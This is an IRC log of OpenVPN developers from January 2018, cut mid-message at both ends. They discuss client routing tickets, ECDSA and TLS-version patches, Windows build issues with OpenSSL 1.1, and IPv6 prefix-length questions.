"NIP:...applying this and that" sequence is the same as before or something is off 06:39 -!- mode/#openvpn-devel [+o ordex] by ChanServ 06:41 <@cron2> user got a proper profile for his one-off iPad, and is happy now 06:42 <@cron2> so I don't really care what happened... maybe it also was "had 1.2.5 before, and when I asked him to re-try, it got updated in between to 1.2.6" 06:44 <@plaisthos> see magic (update) 06:45 <@cron2> yeö 06:49 <@ordex> :D 06:49 <@ordex> black voodoo magic, that's how software works 06:58 <@vpnHelper> RSS Update - tickets: #999: iOS: Routing problem on Mikrotik running OpenVpn <https://community.openvpn.net/openvpn/ticket/999> 07:00 <@ordex> eeeh 07:11 <@plaisthos> Mikrotik, Masters of broken OpenSSL and OpenVPN! 07:11 <@plaisthos> the one that managed to ship a OpenSSL version that had no FPS cipher suite 07:13 < tincantech> if i do "sudo make install" on master on brand new ubuntu (no /etc/openvpn folder) make install does not create /etc/openvpn and also no update-resolv-conf .. is that expected ? 07:14 <@plaisthos> ordex: took a quick look at that report, looks more like a config problem 07:15 <@plaisthos> tincantech: I don't think we provide update-resol-conf 07:15 <@plaisthos> that comes from the distros 07:16 < tincantech> plaisthos: ok so no /etc/openvpn either unless is it is from a distro package .. sounds fair .. i don't know much about that side of it 07:16 <@plaisthos> tincantech: I run openvpn on my server by installing the ubuntu package and then replacing /usr/bin/openvpn 07:17 <@plaisthos> it is quite hackish but I am lazy and that works for me :D 07:17 <@plaisthos> SSL Handshake: TLSv1.2/TLS-DHE-RSA-WITH-AES-256-CBC-SHA <- there not many tls1.2 implemenation that would go to sha1 ... :D 07:18 < tincantech> thanks ;) 07:58 <@plaisthos> okay found the problem with ecdsa + OpenVPN3 08:07 <@ordex> with mbedtls ECDSA is not yet activated 08:07 <@plaisthos> yeah 08:07 <@ordex> you need to specify the ciphersuites in the allowed ones 08:07 <@ordex> I have proposed a patch already 08:07 <@ordex> but requires time .... 08:07 <@plaisthos> ordex: oh that patch is not public, is it? 08:07 <@ordex> it is not 08:07 <@ordex> yet 08:09 <@plaisthos> so I can stop fixing this and wait for your patch ;) 08:10 <@ordex> :P 08:13 <@plaisthos> but you get to break openvpn3 in interesting ways if you have an ec certificate and conect against a rsa server :P 08:18 <@plaisthos> ordex: out of curiosity, why remove ecdsa suites? 08:32 <@plaisthos> ordex: anyway, I made a pull request that makes OpenVPN3 behave saner 08:37 <@plaisthos> https://github.com/Angristan/OpenVPN-install 08:37 <@vpnHelper> Title: GitHub - Angristan/OpenVPN-install: Set up your own OpenVPN server on Debian, Ubuntu, Fedora CentOS, and Arch Linux (at github.com) 08:37 <@plaisthos> there is so much wrong information on this page *brrr* 08:38 <@plaisthos> According to the Hardening page of the OpenVPN wiki, TLS 1.2 is not supported by OpenVPN <2.3.3, so it uses a TLS 1.0 cipher by default, which is unsecure. 08:39 <@ordex> uhm 08:40 <@ordex> plaisthos: james decided to omit them, because i think at that time he wasn't sure the rest of the code was ready 08:40 <@ordex> and since then .. it just remained so 08:40 <@plaisthos> ordex: ah okay. 08:41 <@plaisthos> ordex: spoiler for extpki it isn't but I put one ecdsa algorithm in there to test and it works fine 08:41 <@plaisthos> as long as you don't have an ec client certificate 08:42 <@ordex> otherwise ? boom ? 08:42 <@ordex> :D 08:42 <@plaisthos> will try to do let the external app do an rsa sign 08:43 <@plaisthos> and if the app then responds with a ecdsa signature it will complain that the signature is too long 08:43 <@plaisthos> epk_sign: buffer_full 08:48 <@plaisthos> ordex: my pull request is an easy fix that exits early with a useful errror message in that case 08:49 <@ordex> yeah, makes sense 09:22 <@ordex> plaisthos: do you know what the guy in #999 is trying to say ? 09:22 <@ordex> do you think the LAN is behind the server ? 09:23 <@ordex> I am wondering: maybe the older version of the app was adding an entire /24 when working around the DNS issue? while I set just a tiny /32 (mor eprecise I think) 09:27 < tincantech> ordex: i would ask for updated client log .. 09:27 <@ordex> I would ask for a new brain 09:27 <@ordex> but for me 09:27 <@ordex> :S 09:27 < tincantech> :) 09:28 < tincantech> I have a nice tin-foil hat so i am immune to stupidity (other than my own) 09:33 <@plaisthos> ordex: yeah something like that 09:34 <@plaisthos> ordex: the client does what it is told route wise, whatever is not routed anymore is a config errror and if it just happend to work with the old version it is still a config error 09:34 <@ordex> yup 09:34 <@ordex> that's why I asked the guy what does he mean with "LAN" 09:35 <@ordex> if it's the VPN subnet or another subnet 09:35 <@ordex> if it's another subnet, of course it has ot be specified, like you said 09:37 <@plaisthos> I hate people that send logs that obviously don't match 09:38 <@plaisthos> client log shows no response to initial packet. Serer log shows IV_* from client 09:42 <@ordex> plaisthos: what ticket ? 09:42 <@ordex> plaisthos: consider that lots of these guys are clueless.. 09:42 <@plaisthos> ordex: my own openvpn for android bugtracker 09:42 <@ordex> eheh 09:42 <@ordex> ok 09:42 <@ordex> they are clueless anyway 09:42 <@ordex> :D 09:42 <@plaisthos> :D 09:50 <@plaisthos> *sigh* 09:51 <@plaisthos> and then user deletes the log files fron the issue so I cannot even have a second look at them 09:51 <@plaisthos> https://github.com/schwabe/ics-openvpn/issues/827#issuecomment-358687903 11:11 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 11:18 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 11:18 -!- mode/#openvpn-devel [+o dazo] by ChanServ 13:06 <@plaisthos> ordex: I think problem with #999 is that this 6 [ifconfig] [x.x.x.29] [255.255.0.0] 13:06 <@plaisthos> and that openvpn-connect on ios does not install that as additional route 13:06 <@plaisthos> On android you have the same effect that even if you have a tun with 10.x.y.z/16 traffic to 10.x.y.z/16 will only be routed to that network if you expliclitly also install that route 13:32 <@cron2> hehe 13:32 <@cron2> https://blog.toggl.com/build-horse-programming/ 13:32 <@vpnHelper> Title: How To Build A Horse With Programming (Comic) - Toggl Blog (at blog.toggl.com) 14:08 <@vpnHelper> RSS Update - tickets: #1000: Cannot see iPhone certificate <https://community.openvpn.net/openvpn/ticket/1000> 14:33 < tincantech> syzzer: ping 14:56 < tincantech> could anybody else help me understnading and testing patch 160 : https://patchwork.openvpn.net/patch/160/ 14:56 <@vpnHelper> Title: [Openvpn-devel,1/3,v2] Fix --tls-version-min and --tls-version-max for OpenSSL 1.1+ - Patchwork (at patchwork.openvpn.net) 14:58 < tincantech> what i really need to know is "is an error expected if so how to cause the error" 14:59 < tincantech> this appears to be the source : https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=873302 14:59 <@vpnHelper> Title: #873302 - openvpn: openssl 1.1 tls version support - Debian Bug report logs (at bugs.debian.org) 15:18 < tincantech> that is *without* the patch applied. 15:20 < tincantech> I have debian9 with ossl1.1.0f and built master with ossl1.1.0f : --server --tls-version-min 1.0 --tls-version-max 1.0 etc and clients connect fine 15:20 < tincantech> server log message : Control Channel: TLSv1, cipher TLSv1.0 ECDHE-ECDSA-AES256-SHA, 384 bit EC, curve: secp384r1 18:41 <@ordex> plaisthos: yeah, thought about that, but I was trying to understand if this never worked or what 18:52 <@ordex> plaisthos: howevere this is a bug in the apple api 18:52 <@ordex> the network should be reachable, because the IP is added as X/16 18:52 <@ordex> so the entire /16 should be reachable 18:52 <@ordex> but yes, probably we have to add the route forcefully 20:07 <@vpnHelper> RSS Update - tickets: #999: iOS: app not routing entire VPN network <https://community.openvpn.net/openvpn/ticket/999> --- Day changed Fri Jan 19 2018 00:30 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds] 00:34 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 00:34 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:46 <@ordex> syzzer: when you have time, could you help me understanding what this means: https://nopaste.unstable.cc/?125 ? 02:46 <@ordex> I'd like to understand what packet has sent the client that could trigger that 02:51 <@ordex> and it's interesting it's an AEAD error if I am using cipher none 03:15 <@ordex> oh I guess they are negotiating and so upgrading to GCM, even though cipher is none (?) 03:16 <@ordex> yeah, with ncp-disable they stay on none, but the issue remains. but at least no AEAD headache 03:29 <@syzzer> ordex: it *should* mean that a data channel packet arrived twice 03:29 <@ordex> ok 03:30 <@ordex> is it easy to see the packet id in a packet dump or on wireshark ? 03:31 <@syzzer> yeah, packet id is plain text with AEAD of cipher none 03:31 <@syzzer> s/of/or/ 03:32 <@ordex> yeah trying to use none now to narrow down the issue 03:33 <@ordex> syzzer: is it possible that this error is hit also for a double control channel? or in that case we would see something different ? 03:33 <@syzzer> is hould not print an AEAD error 03:33 <@syzzer> tls-auth/tls-crypt might print something similar though 03:34 <@ordex> yeah, that's why I was wondering ... let me try to get rid of tls-auth then 03:38 <@ordex> ok now seems to be gone ... I'll do more testing...but this might be related to TA then 03:38 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 03:40 <@ordex> uhm I take that back 03:48 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:48 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 03:52 <@ordex> dazo: when you have time can you have a look at https://forums.openvpn.net/viewtopic.php?f=36&t=25674 ? I wonder if this is related to mbedTLS 2.6 03:52 <@vpnHelper> Title: Chain CA fails with 1.2.6 - OpenVPN Support Forum (at forums.openvpn.net) 03:55 <@ordex> syzzer: you were right - a data packet is being sent twice 04:19 <@dazo> ordex: hmmm ... perhaps check what Android version this user have tested as well ... If it is the latest OpenVPN Connect, then the core library should be somewhat similar right? 04:20 <@ordex> dazo: talking about the forum post ? 04:20 <@dazo> ordex: and also check how the certificate is accessed on iOS ... is it via the iOS keystore ... or embedded in the config file? 04:20 <@dazo> yeah 04:20 <@ordex> it's an iOS user 04:20 <@ordex> CA must be embedded, can't go through the keychain 04:21 <@ordex> and normally the entire thing is given to mbedTLS and since in the previous version we were using polarssl..I was wondering something changed 04:21 <@ordex> *if 04:21 <@dazo> ahh, right .... well ... let me check one detail 04:21 <@ordex> yup! 04:21 <@ordex> maybe we can ask to test on linux with mbedTLS 04:24 <@dazo> right ... so all my configs where I use sub-ca (including PrivateTunnel) have only one certificate in <cert> but may enlist more CAs in <ca>. PrivateTunnel also uses <extra-certs> 04:24 <@dazo> so if the iOS keystore only covers the client cert/key ... then this shouldn't be the issue .... unless there are some misconfiguration :/ 04:25 <@ordex> mumblemumble 04:25 <@ordex> dazo: I found weird that the error is on the server though 04:25 <@ordex> maybe the problem is not related to the CA but to the client cert :| 04:26 <@dazo> yeah, and that's why I'm thinking misconfiguration .... perhaps a sub-ca cert is in <cert>? 04:26 <@dazo> which did not get imported into the keystore .... but for some reason is accepted by the other clients 04:26 * ordex faints 04:26 <@dazo> But I'm not quite convinced of this hypothesis though 04:27 <@dazo> ? 04:27 <@ordex> hm 04:27 <@ordex> dazo: your test was performed with ovpn3 ? 04:27 <@ordex> I mean where you use the subCA 04:27 <@ordex> I am wondering if ovpn3 expects only one CA in CA and needs the subCAs in extra-certs 04:29 <@dazo> I have managed to connect to PrivateTunnel to from my ovpn3 Linux client 04:29 <@ordex> mh ok.. 04:29 <@ordex> mah 04:29 <@dazo> that contains both root and sub-ca in <ca> 04:29 <@ordex> oky 04:29 <@ordex> one way to check this is to replicate the setup XD 04:29 <@ordex> two pkis 04:29 <@ordex> when you call it "a corner case" :D 04:30 <@dazo> It's a while since I tested my home-server with that client (due to currently lacking DNS config support) ... but that did work too, though 04:30 <@dazo> :) 05:27 <@plaisthos> ordex: My app explicitly adds the route for the network that goes to the tun device since Adnroid since 4.4/5.0 behaves the same way and is probably not going to change 06:25 <@ordex> plaisthos: but this is weird - do you think it is "normal" ? 06:25 <@ordex> I mean, I think this is meant to be that way, but why ? 06:39 <@plaisthos> ordex: I think it is designed that way to give consumers of the API more flexibility 06:49 <@plaisthos> You cannot really change netmask and ip without causing some undesired side effects 08:10 <@plaisthos> looking up if there way to encrypt a git repo and one method uses ecb since it always outputs the same ciphertext 08:26 <@vpnHelper> RSS Update - tickets: #1001: Empirical MTU test does not work properly <https://community.openvpn.net/openvpn/ticket/1001> 09:20 <@ordex> plaisthos: yeah 09:20 <@ordex> let's call it flexibility 09:20 <@ordex> but then what's the meaning of the netmask when adding an IP? feels like it is treated like a /32, no? 09:26 <@plaisthos> ordex: wehn you received a broadcast the netmask matters 09:26 <@ordex> plaisthos: broadcast on tun ? 09:26 <@plaisthos> ordex: :) 09:26 <@ordex> with no layer 2 ? 09:26 <@plaisthos> ordex: sure 09:26 <@ordex> uhm 09:27 <@plaisthos> 255.255.255.255 is still a broadcast 09:27 <@plaisthos> and so is 192.168.0.255 if you netmask is 255.255.255.0 09:27 <@plaisthos> it is a weird corner case :D 09:28 <@ordex> sure, what I don't understand is how this can be used on the VPN tunnel 09:28 <@ordex> Layer3 tunnel I mean 09:29 <@plaisthos> something else on you network sends a packet to 192.168.0.255 09:29 <@plaisthos> and then all vpn clients get that packet 09:29 <@plaisthos> routed broadcasts are a bit weird 09:30 <@plaisthos> but you are right for almost all other purposes a /32 would work just as well 09:31 <@ordex> plaisthos: does openvpn handle broadcasts? never checked honestly 09:31 <@ordex> because that is not really expected from a L3 tabstraction, I guess, even though it may work :P 09:31 <@ordex> :O 09:31 <@plaisthos> ordex: I have no idea honestely 09:31 <@plaisthos> but VPN api is not just for us :) 09:32 <@ordex> how come ? who else ? 09:32 <@ordex> :D 09:32 <@ordex> of course is just for us ! 09:32 <@ordex> hehe 09:33 <@plaisthos> does Italian use the same strange spacing rules as French or why are you adding blanks before the ! :P 09:33 <@ordex> I never did that, then a German friend of mine always wrote me like that and I started doing the same 09:34 <@ordex> :D 09:34 <@plaisthos> It is wrong in German ;D 09:34 <@ordex> must be wrong everywhere 09:34 <@ordex> maybe correct in Chinese 09:34 <@plaisthos> not in French 09:34 <@ordex> ah really ? 09:34 <@ordex> lol 09:34 <@plaisthos> yes 09:34 <@ordex> then maybe that's where he got infected 09:34 <@plaisthos> :D 09:34 <@ordex> I should cure myself! 09:35 <@plaisthos> there is even a German term for that "Plenking" 09:36 <@ordex> for the spacing? 09:37 <@plaisthos> for the incorrect extra space before punctation marks 09:37 <@ordex> oh ok 09:37 <@plaisthos> https://www.thoughtco.com/how-to-use-french-punctuation-4086509 09:37 <@ordex> I'll remind him next time 09:37 <@vpnHelper> Title: How to Use French Punctuation (at www.thoughtco.com) 09:37 <@ordex> hehe 09:37 <@plaisthos> https://en.wikipedia.org/wiki/Plenken 09:37 <@vpnHelper> Title: Plenken - Wikipedia (at en.wikipedia.org) 09:38 <@dazo> just call him a plenker .... :-P 09:38 <@ordex> lol 09:38 <@ordex> does not sound good 11:57 < tincantech> on debian9: 11:57 < tincantech> tests/unit_tests/plugins/auth-pam/Makefile.am:10: warning: source file '$(sut_sourcedir)/utils.c' is in a subdirectory, 11:57 < tincantech> tests/unit_tests/plugins/auth-pam/Makefile.am:10: but option 'subdir-objects' is disabled 11:57 < tincantech> autoreconf: automake failed with exit status: 1 11:57 < tincantech> fresh out-of-the-box 11:59 < tincantech> woops .... forgot -i in autoreconf :'D 12:24 < tincantech> syzzer: thank you selva ;) 13:14 <@mattock> community.openvpn.net going down briefly for instance type upgrade 13:14 <@mattock> sorry for the short notice 13:15 <@mattock> starting up 13:21 <@mattock> Trac seems to be operating "as usual" now 13:28 <@syzzer> tincantech: yeah, he saved me quite a bit of work :D 13:29 <@syzzer> your efforts are much appreciated too! 13:30 < tincantech> syzzer: cheers ;) 14:06 < tincantech> mattock: I am getting emails from trac on tickets i am *not* subscribed .. 14:07 < tincantech> I don't mind but you probably need to know 14:08 < tincantech> #585 in this case 14:29 <@vpnHelper> RSS Update - tickets: #1002: Using TCP connexion, openVPN is switch off (automatically) <https://community.openvpn.net/openvpn/ticket/1002> 15:44 <@cron2> syzzer: selva is really picky with your patches today :-) 16:09 <@cron2> syzzer: whoa, ACK. I'll merge v4 tomorrow :-) - is that good for release/2.4, or does 2.4 need a different patch? 16:09 <@cron2> it's a bugfix, so in 2.4 it goes :) 17:06 <@dazo> gee .... the getopt()/getopt_long() implementation is horrendous and limited ... despite its flexibility --- Day changed Sat Jan 20 2018 03:11 <@syzzer> cron2: I'll check if it needs fiddling for 2.4 today, because 2.4 *does* still support 0.9.8... 03:20 <@syzzer> cron2: could you also check out https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14736.html ? 03:20 <@vpnHelper> Title: [Openvpn-devel] [PATCH release/2.4] configure.ac: fix building against static openssl (at www.mail-archive.com) 03:20 <@syzzer> not the whole discussion, but at least the initial patch, which *does* fix a real issue 03:21 <@syzzer> (I bounced the patch to patchwork, but my bounces don't seem to get processed...) 04:21 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 264 seconds] 04:41 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:41 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 05:17 <@vpnHelper> RSS Update - gitrepo: Fix --tls-version-min and --tls-version-max for OpenSSL 1.1+ <https://github.com/OpenVPN/openvpn/commit/0e8a30c0b05c1e2b59a1dea0a6eab5daa1d9d9a1> 05:28 <@cron2> syzzer: the tls-version-min patches 2/3 and 3/3 are master-only? 05:32 <@syzzer> cron2: yeah, think so 05:33 <@syzzer> unless we want to be able to support tls 1.3 in 2.4 05:33 <@syzzer> I guess that depends on when we release 2.5 05:37 <@syzzer> I would like us to be 'TLS 1.3 ready' though :) up to you. 05:37 * syzzer out for lunch now 07:10 <@vpnHelper> RSS Update - gitrepo: Add support for TLS 1.3 in --tls-version-{min, max} <https://github.com/OpenVPN/openvpn/commit/8ca9eda119638a88863118affd69dfaf8b867c92> 07:12 -!- Guest37761 is now known as mandree 07:51 <@vpnHelper> RSS Update - gitrepo: tls_ctx_set_tls_versions: move verify_flags to where it is used <https://github.com/OpenVPN/openvpn/commit/e05aca4517b666740b384399348b995a3a646629> || Add SSL_CTX_get_max_proto_version() not in openssl 1.0 <https://github.com/OpenVPN/openvpn/commit/9e272106029a41b2110c10334ba8cae0f4afb1b4> 09:20 <@vpnHelper> RSS Update - tickets: #988: iOS: .mobileconfig with .p12 Payload does not work <https://community.openvpn.net/openvpn/ticket/988> 20:48 <@ordex> cron2: the new beta should fix the DNS settings order issue too (not sure you had this problem though) --- Day changed Sun Jan 21 2018 06:14 < eyal> Hello! I was wondering about the development process: I have submitted a patch for review on openvpn-devel mailing list, and haven't been able to understand what the next steps are. could anyone shed some light on this? 06:14 < eyal> (I have looked at the 'contributing' section in the openvpn website) 06:36 <@plaisthos> eyal: wait for someone to review 06:36 <@plaisthos> or poke us 06:36 <@plaisthos> we notoriously short on time 09:10 <@ordex> plaisthos: how should we call the "component" in bugtrac for the other non-commercial clients? 09:10 <@ordex> just "FOSS clients" ? 09:18 <@plaisthos> ordex: OpenVPN OSS Uis? 09:18 <@plaisthos> since they are basically that. 09:18 <@plaisthos> I don't think we have other openvpn implmenetation 09:19 <@ordex> plaisthos: yeah, i just want to create a catch all for people 09:19 <@ordex> easy to grasp for them 09:21 <@plaisthos> then oss openvpn clients is probably the best 09:22 <@ordex> OSS OpenVPN Clients 09:22 <@ordex> oky 09:22 <@ordex> I add you as owner :D 09:22 <@ordex> thank s 09:22 <@ordex> ! 11:56 * ecrist releases EasyRSA v3.0.4 and awaits user shitstorm --- Log closed Sun Jan 21 15:05:48 2018 --- Log opened Sun Jan 21 23:51:58 2018 23:51 -!- Irssi: #openvpn-devel: Total of 27 nicks [7 ops, 0 halfops, 1 voices, 19 normal] 23:51 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 23:51 -!- Irssi: Join to #openvpn-devel was synced in 0 secs --- Day changed Mon Jan 22 2018 00:24 <@ordex> cron2: persist-tun does not prevent the iface from being cleaned up (aka remove all IPs and routes) upon SIGUSR1, right? it will just keep the tun up, but openvpn will still deconfigure it, right? 02:17 <@cron2> ordex: that depends, it should not touch it *unless* config has changed (new IP) 02:17 <@cron2> but the intricacies of "what happens on which signal" is something *Selva* seems to understand best 03:04 <@ordex> cron2: ok, I quickly checked the code, but I didn't find many places where persist_tun is used, so I was wondering 06:41 <@dazo> cron2, plaisthos, syzzer (mattock) ... Regarding the RSASIGN/PK-SIGN discussion last week ... Discussed it briefly with James on Friday evening. He didn't scream "don't!", but also was slightly sceptical ... but he had a twist which I think is even better. To make use of this feature, OpenVPN must be started with --management-external-key. Make this option take a version argument. So if using --management-external-key 2, make a 06:41 <@dazo> hard-switch to PK-SIGN with EC support. Without it, it is as today without any EC support and RSASIGN stays as it is 06:46 <@syzzer> dazo: that sounds like a reasonable way to do it. Then at some point we increase the default version to '2' and later on we remove support for '1', etc. 06:46 <@syzzer> can you reply that to the threat on the ml? 06:46 <@dazo> absolutely! 06:47 <@dazo> syzzer: which ML thread ... the one form the meeting minutes? 06:47 <@dazo> or do we have some other patch related mails threads? 07:07 <@cron2> the one where Selva proposed to do so 07:10 <@cron2> Subject: [Openvpn-devel] [PATCH 0/3] Support external EC cert/key using --management-external-xxx 07:10 <@cron2> Message-Id: <1515959073-10376-1-git-send-email-selva.nair@gmail.com> 07:14 <@dazo> thx! 13:40 <@plaisthos> dazo: yeah, we wanted to avoid the v2 in the code if possible to not have the complexity but if that is what it is going to be 13:45 <@dazo> plaisthos: backwards compatibility is important to consider .... And we broke surprisingly much with the 2.4 release .... most of it due to a way too forgiving option parser in former releases ... so we should strive to avoid this in the future --- Day changed Tue Jan 23 2018 03:29 <@mattock> tomorrow's meeting agenda will be 2.4.5 I presume? 03:34 <@cron2> yep 03:37 < eyal> Hello! I'm trying to understand the IPv6 ifconfig prefix length limitation [64-124]. Our product provides subscribers with /128 addresses and I was not able to find information in the source on the reason for this limitation. 03:37 <@cron2> eyal: the assumption is "there is a subnet on the tun/tap interface" 03:38 <@cron2> you can do individual address assignments ("ifconfig-ipv6-push"), but it needs to come from a subnet 03:38 <@cron2> a common subnet, that is, between client and server 03:54 < eyal> cron2: thanks! i was indeed referring to ifconfig-ipv6-push. the tun interface on the server has a large subnet mapping multiple clients. and on the client i would need to have a single /128 'subnet'. 03:54 < eyal> cron2: but i am not able to use ifconfig-ipv6-push to set a /128 address on the client 03:55 < eyal> cron2: due to a validation in options.c (add_option()) 03:55 <@cron2> eyal: no. "it needs to come from a common subnet between client and server" 03:55 <@cron2> /128 is not a "subnet" 03:56 <@cron2> just put the same /nnn bit value there that the server has, and everything will be good - the client will only use one address, and send the rest of the /nn into the VPN 03:57 <@mattock> invitation sent 04:06 < eyal> cron2: thanks again, that's interesting. on a windows client (using openvpn gui/cmd), when the prefixlen was not set to /128, i saw the client issue neighbor solicitation requests for ip addresses within its subnet instead of sending them directly 04:07 < eyal> that's why i wanted to have the address configured with the exact prefix length 04:07 <@cron2> that seems to be a side effect of your patch 04:07 <@cron2> if I understand Selva's comment right 04:07 < eyal> how so? this was before my patch 04:07 < eyal> the default behavior was windows set the prefix length to /64 04:08 <@cron2> yes, but not installing routes 04:08 <@cron2> with the prefix patch? 04:08 < eyal> without touching the routing code 04:09 < eyal> without the prefix patch, vanilla openvpn 04:09 <@cron2> that is something windows does if you specify a prefix length, see Selva's reply to your mail 04:09 < eyal> can you avoid providing a prefix length at all? 04:09 <@cron2> anyway, seems I need to re-test on recent windows versions - the "it does ND for same-subnet hosts" is something it didn't do 04:10 < eyal> i was surprised by it. but i suppose if it has a prefix route it's allowed to. 04:11 < eyal> i can try not specifying a prefix length at all, but my guess is that it'd just send NDs. 04:12 <@cron2> depending on what routes get installed - I don't know right now, I need to re-test. Generally speaking, this is something you want to discuss with logs on the list, as Selva does much more Windows work than I do (even if I wrote the original code) 04:13 < eyal> no problem. thanks a lot! 04:45 < GPF> Hi 04:46 < GPF> Is there any update on Bug #953? Still can't use dual-stack with tls-crypt :( 04:46 <@cron2> meh 04:48 < GPF> (or tls-auth) 05:59 <@ordex> ah this was interesting 05:59 <@ordex> I guess if it's related to some offset calculation (but I am not sure we get the entire raw packet) 06:24 <@cron2> mattock: sorry for not reviewing #192 slipped off my mind again 06:25 <@cron2> I'm not sure if the translation is good, though 07:13 <@mattock> cron2: any proposals for improvement? 07:13 <@cron2> mattock: already mailed. All but the first translation is good, and that one seems confused between "password" and "passphrase" 07:21 <@mattock> thanks! 07:38 <@mattock> any idea if building with openssl-1.1.0g requires special magic in openvpn-build? 08:37 <@cron2> no idea 08:43 <@mattock> I'm asking because it failed 08:52 < tincantech> mattock: build target linux or windows ? 08:57 < tincantech> ho ho .. i think arch linux may have just got meltdown/spectyre fix 09:01 < tincantech> mattock: FYI OpenVPN 2.5_git [git:master/e05aca4517b66674] x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Jan 20 2018 09:01 < tincantech> library versions: OpenSSL 1.1.0g 2 Nov 2017, LZO 2.10 09:17 <@mattock> tincantech: windows using openvpn-build 09:50 <@cron2> what's the error? 10:39 < tincantech> "FATAL: make lzo" .. ? 10:43 < tincantech> not expecting that .. but have to look later 11:16 < tincantech> mattock: cron2: this looks like the error: "Makefile:662: recipe for target 'cryptoapi.o' failed" 11:29 < tincantech> pastebin of the build log : https://paste.fedoraproject.org/paste/fuOhXKVfqIds7wkVnw4qwA 12:24 < tincantech> the same build with openssl101n works as expected on the same machine 12:31 < tincantech> i mean 102n 14:05 <@cron2> is that failing to build openvpn or openssl? 15:09 < tincantech> first openssl is successfully built, then lzo then pkcs then openvpn and then boom 15:09 < tincantech> so openvpn 15:09 < tincantech> it looks like 15:26 <@cron2> strange 15:26 <@cron2> oh 15:26 <@cron2> actually maybe not that strange... did we merge all the "make cryptoapi work with 1.1" patches yet? 15:27 <@cron2> which branch are you building? 2.4.4 or release/2.4 or master? 15:28 <@cron2> you need Selva's patch 862cbe538b6d53435f60065b0235639095c9ad0d 15:29 <@cron2> the line 223 it is complaining about 15:29 <@cron2> RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, ERR_R_PASSED_NULL_PARAMETER); 15:29 <@cron2> really looks like this now: 15:29 <@cron2> RSAerr(RSA_F_RSA_OSSL_PRIVATE_ENCRYPT, ERR_R_PASSED_NULL_PARAMETER); 15:34 < tincantech> building openvpn 2.4.4 from http://build.openvpn.net/downloads/snapshots/openvpn 15:35 < tincantech> i mean : building openvpn 2.4.4 from http://build.openvpn.net/downloads/snapshots/ 15:35 <@cron2> it's very clear that this is not going to work, otherwise we wouldn't have that patch :) 15:35 <@vpnHelper> Title: Index of /downloads/snapshots/ (at build.openvpn.net) 15:36 <@cron2> 2.4.5 should build fine -> you need to test with release/2.4 from git 15:36 < tincantech> that patch *is* in release/2.4 git 15:36 < tincantech> ? 15:37 <@cron2> yes 15:37 < tincantech> gitcha :) 15:37 < tincantech> thanks :) 16:13 < tincantech> cron2: that does not appear to fix it 16:14 < tincantech> or maybe there is a new error .. 16:14 < tincantech> oh no .. forget it .. unrelated error (by me) 16:27 < tincantech> cron2: mattock .. just built windows binary fine with 2.4.4 from git 16:27 < tincantech> thanks cron2 16:29 < tincantech> it builds but i have not actually tested it works 17:13 < tincantech> ok! .. now installed on W10 and works perfect on my setups :) 18:59 <@ordex> aloha 20:18 < tincantech> grass skirsts and pina collider 21:01 < tincantech> Tue Jan 23 23:11:15 2018 us=679982 OpenVPN 2.4.4 [git:release/2.4/59dbb8602f30d278+] x86_64-w64-mingw32 [SSL (OpenSSL)] [LZO] [LZ4] [PKCS11] [AEAD] built on Jan 23 2018 21:01 < tincantech> Tue Jan 23 23:11:15 2018 us=679982 Windows version 6.2 (Windows 8 or greater) 64bit 21:01 < tincantech> Tue Jan 23 23:11:15 2018 us=679982 library versions: OpenSSL 1.1.0g 2 Nov 2017, LZO 2.10 21:09 <@ordex> tincantech: ecrist: I changed the name of this board group to reflect the name of the company: https://forums.openvpn.net/viewforum.php?f=32 21:09 <@vpnHelper> Title: OpenVPN Support Forum - OpenVPN, Inc (at forums.openvpn.net) 21:20 < tincantech> ordex: hey man ;) 21:22 <@ordex> woha 21:23 < tincantech> it is probably about time 21:23 < tincantech> but there was a battle about the 21:24 < tincantech> "naming 21:24 < tincantech> " convention 21:25 < tincantech> later dood l;) 21:26 <@ordex> :) 22:00 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 22:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:11 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Wed Jan 24 2018 01:26 < eyal> cron2: following our discussion yesterday, the ND issue occurs only on openvpn cli. On openvpn GUI using a /124 prefix does not yield ND. So we'll use openvpn-gui. Thanks again! 01:44 <@cron2> eyal: that seems to hint at "the interactive service does things correctly, while the netsh.exe calls are wrong" 02:09 < eyal> cron2: indeed. 03:33 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Read error: Connection reset by peer] 03:34 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:35 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 06:44 <@ecrist> tincantech: what battle? 08:06 < tincantech> ecrist: the one about "community edition" vs AS etc 09:10 < tincantech> mattock: openvpn-build with git_release/2.4 + ossl110g builds perfectly and I am running it now on win10 no problem 09:10 < tincantech> mattock: ^^^ 09:33 <@cron2> tincantech: cool 09:44 <@mattock> tincantech: ok, excellent! 09:45 <@mattock> openssl built fine but openvpn build failed - but I used 2.4.4 initially which is supposed to fail 11:35 < tincantech> slightly OT but .. using CORE-network emulator, I now have a working mirror of my network (including a remote site) with some 30 machines .. I have openvpn master running a server and some clients all with routing to remote subnets all using --tls-crypt etc and in one fell swoop i can upgrade the lot every time a patch is applied ! fantastic :) 12:49 < mrtnt> I tried to make OpenVPN auth-pam plugin to pass PAM_RHOST to PAM modules. It works perfictly fine when I add "pam_set_item(pamh, PAM_RHOST, "1.2.3.4");" to auth-pam.c. However, I 